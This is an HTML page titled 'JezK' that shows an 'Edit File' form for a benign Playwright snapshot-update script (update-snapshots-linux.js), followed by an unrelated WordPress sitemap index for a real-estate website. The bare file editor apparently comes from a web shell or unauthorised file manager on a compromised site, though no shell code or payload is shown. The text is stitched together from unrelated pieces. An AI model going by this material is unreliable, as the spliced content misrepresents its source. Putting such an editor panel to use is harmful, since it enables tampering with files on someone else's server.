
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: update-snapshots-linux.js</h2><form method="post"><textarea name="file_content" rows="10" cols="50">const { spawn, exec } = require( &#039;child_process&#039; );
const packageJson = require( &#039;./package.json&#039; );

function isDockerExist() {
	return new Promise( ( resolve ) =&gt; {
		exec( &#039;docker -v&#039;, ( error ) =&gt; {
			resolve( ! error );
		} );
	} );
}

async function run( grep ) {
	const playwrightVersion = packageJson.devDependencies[ &#039;@playwright/test&#039; ];
	const workingDir = process.cwd();
	const browsers = process.env.BROWSERS || &#039;chromium&#039;;

	const command = &#039;docker run&#039;;
	const options = [
		&#039;--rm&#039;,
		&#039;--network host&#039;,
		`--volume ${ workingDir }:/work`,
		&#039;--workdir /work/&#039;,
		`--env BROWSERS=${ browsers }`,
		&#039;--interactive&#039;,
		process.env.CI ? &#039;&#039; : &#039;--tty&#039;,
	];
	const image = `mcr.microsoft.com/playwright:v${ playwrightVersion.replace( &#039;^&#039;, &#039;&#039; ) }-jammy`;
	const grepFlag = grep.length ? `--grep=&quot;${ grep }&quot;` : &#039;&#039;;
	const commandToRun = `/bin/bash -c &quot;npm run test:playwright -- --update-snapshots ${ grepFlag }&quot;`;

	await new Promise( ( resolve, reject ) =&gt; {
		const child = spawn( `${ command } ${ options.join( &#039; &#039; ) } ${ image } ${ commandToRun }`, {
			stdio: &#039;inherit&#039;,
			shell: true,
		} );

		child.on( &#039;close&#039;, ( code ) =&gt; {
			if ( code !== 0 ) {
				reject( new Error( `Docker process exited with code ${ code }` ) );
			} else {
				resolve();
			}
		} );
	} );
}

( async () =&gt; {
	if ( ! await isDockerExist() ) {
		// eslint-disable-next-line no-console
		console.error( &#039;Docker is not installed, please install it first.&#039; );

		process.exit( 1 );
	}

	await run( process.argv.slice( 2 ) );
} )();
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.mijikendarealestate.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-property-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-agent-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-ube_content-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-type-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-status-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-feature-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-label-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-state-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-city-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-neighborhood-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-agency-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
